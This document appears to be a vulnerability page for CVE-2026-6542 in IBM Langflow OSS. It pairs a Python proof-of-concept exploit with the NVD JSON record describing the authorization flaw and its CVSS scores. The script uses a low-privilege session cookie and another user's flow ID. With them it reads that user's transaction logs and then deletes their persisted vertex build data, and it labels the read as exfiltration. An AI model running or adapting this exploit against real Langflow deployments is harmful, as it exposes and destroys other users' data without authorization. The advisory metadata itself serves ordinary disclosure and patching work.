CVE-2026-6542

import requests # Target URL configuration target_host = "http://vulnerable-langflow-server:5000" attacker_cookie = "session_id_of_low_priv_user" victim_flow_id = "uuid_of_victim_flow" headers = { "Cookie": f"session={attacker_cookie}", "Content-Type": "application/json" } # 1. Exploit: Read transaction logs and vertex build data # The API fails to check if the attacker owns victim_flow_id read_logs_url = f"{target_host}/api/v1/flows/{victim_flow_id}/logs" response = requests.get(read_logs_url, headers=headers) if response.status_code == 200: print("[+] Successfully exfiltrated victim's transaction logs:") print(response.text) else: print("[-] Failed to read logs") # 2. Exploit: Delete persisted vertex build data # The API allows deletion of data owned by another user delete_data_url = f"{target_host}/api/v1/flows/{victim_flow_id}/data" del_response = requests.delete(delete_data_url, headers=headers) if del_response.status_code == 200: print("[+] Successfully deleted victim's persisted vertex build data") else: print("[-] Failed to delete data")

{"cve": {"id": "CVE-2026-6542", "sourceIdentifier": "[email protected]", "published": "2026-04-30T22:16:26.340", "lastModified": "2026-05-04T18:21:23.047", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Langflow OSS 1.0.0 through 1.8.4 could allow any user to supply a flow_id to read transaction logs and vertex build data belonging to other users, and to delete persisted vertex build data for another user's flow."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.9.0", "matchCriteriaId": "2DFDBBCF-1947-4468-9C94-5CF03650A12D"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7270886", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}